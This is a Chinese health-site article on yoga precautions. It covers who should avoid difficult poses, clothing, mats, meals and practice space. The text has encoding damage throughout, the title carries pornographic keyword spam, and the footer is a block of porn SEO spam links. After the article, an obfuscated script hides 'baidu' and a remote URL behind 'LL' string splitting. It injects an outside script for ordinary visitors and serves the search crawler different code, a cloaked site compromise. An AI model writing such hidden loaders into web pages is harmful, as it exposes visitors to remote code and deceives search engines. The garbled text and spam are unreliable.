久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 運動健身 > 正文

練瑜伽注意事項是什么

2017-04-16 14:53:28  來源:360常識網(wǎng)   熱度:
導(dǎo)語:如果你情緒不好的時候可以通過練習(xí)瑜伽來讓情緒得到改善,如果你平時自信心不夠,或者是經(jīng)常有自卑的感覺,那么練習(xí)一下瑜伽能夠讓你更自信

如果你情緒不好的時候可以通過練習(xí)瑜伽來讓情緒得到改善,如果你平時自信心不夠,或者是經(jīng)常有自卑的感覺,那么練習(xí)一下瑜伽能夠讓你更自信,能夠讓你更加樂觀豁達(dá)地面對生活。瑜伽練習(xí)還可以調(diào)節(jié)身體平衡,能讓整個身體機(jī)能得到提升,強(qiáng)身健體的作用及其明顯。當(dāng)然有些時候練習(xí)瑜伽還需要格外的注意。

手術(shù)后半年和女性生理期不宜練高難度動作;高血壓、哮喘病患者和孕婦只做簡單動作;以赤腳為好,穿著寬松、舒適,以便身體能自由活動;不宜在過硬的地板或太軟的床上進(jìn)行練習(xí),練習(xí)時應(yīng)在地上鋪一條墊子;如果在保持某一姿勢時,感到體力不支或發(fā)生痙攣,應(yīng)立即收功,加以按摩;對練習(xí)者的飲食沒有特別規(guī)定。可以將胃的一半裝食物,四分之一存水,其余四分之一保持空缺,即吃得不要太飽,以免感到沉重和懶散。練瑜伽前后一個小時內(nèi)不要用餐,飯后兩個小時內(nèi)盡量避免練習(xí)。

宜在安寧、通風(fēng)良好的房間內(nèi)練習(xí)。室內(nèi)空氣要新鮮,可以自由吸入氧氣。也可以在室外練習(xí),但環(huán)境要愉快,比如花園,不要在大風(fēng)、寒冷或不潔的、有煙味的空氣中練習(xí)。不要在靠近家具、火爐或妨礙練習(xí)的任何場所練習(xí),以免發(fā)生意外,尤其在做頭手倒立時,不要在電風(fēng)扇下練習(xí);8.做練習(xí)時,睜著眼閉著眼都可以,把注意力集中在體內(nèi)所產(chǎn)生的感覺上。

瑜伽練習(xí)的注意事項大致就介紹到這里,當(dāng)然還有其他很多注意事項,這里只是簡單的介紹了一下,如果朋友們對瑜伽非常感興趣,那么不妨去報一個瑜伽培訓(xùn)班,讓專業(yè)的老師來教我們練習(xí)瑜伽,這樣會收到更好的效果。練習(xí)瑜伽貴在持之以恒。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 好姑娘影视在线观看高清 | 日本a免费 | 亚洲欧美综合精品久久成人 | 夜夜骑日日操 | 国产一区二区三区久久久 | 在线天堂新版最新版在线8 久久亚洲欧美日韩精品专区 | 国产成人影院 | 国产精品不卡视频 | 日本一区二区不卡视频 | 精品91| 一级毛片免费高清 | 欧美日韩激情四射 | 免费在线观看国产 | 欧美在线一区二区三区 | 日韩2020狼一二三 | 欧美精品一区在线 | 一区网站 | 成人三级小说 | 污视频网站入口 | 精品在线免费观看视频 | 精品乱码久久久 | 亚洲女人天堂成人av在线 | 欧美一区二区久久久 | 亚洲欧美一区二区三区国产精品 | 久久精品这里热有精品 | 久久久久久91香蕉国产 | 亚洲成人精品视频 | 精品国产一区二区三区国产馆杂枝 | 中文字幕一级毛片 | 日韩中文字幕欧美 | 亚洲在线成人 | 中文字幕亚洲在线观看 | 欧美精品免费在线观看 | 中文字幕欧美激情 | 亚洲综合色视频在线观看 | 免费精品视频 | 国产精品永久在线观看 | 国产无遮挡呻吟娇喘视频 | 在线免费观看黄色 | 91精品国产日韩91久久久久久 | 久久精品极品 |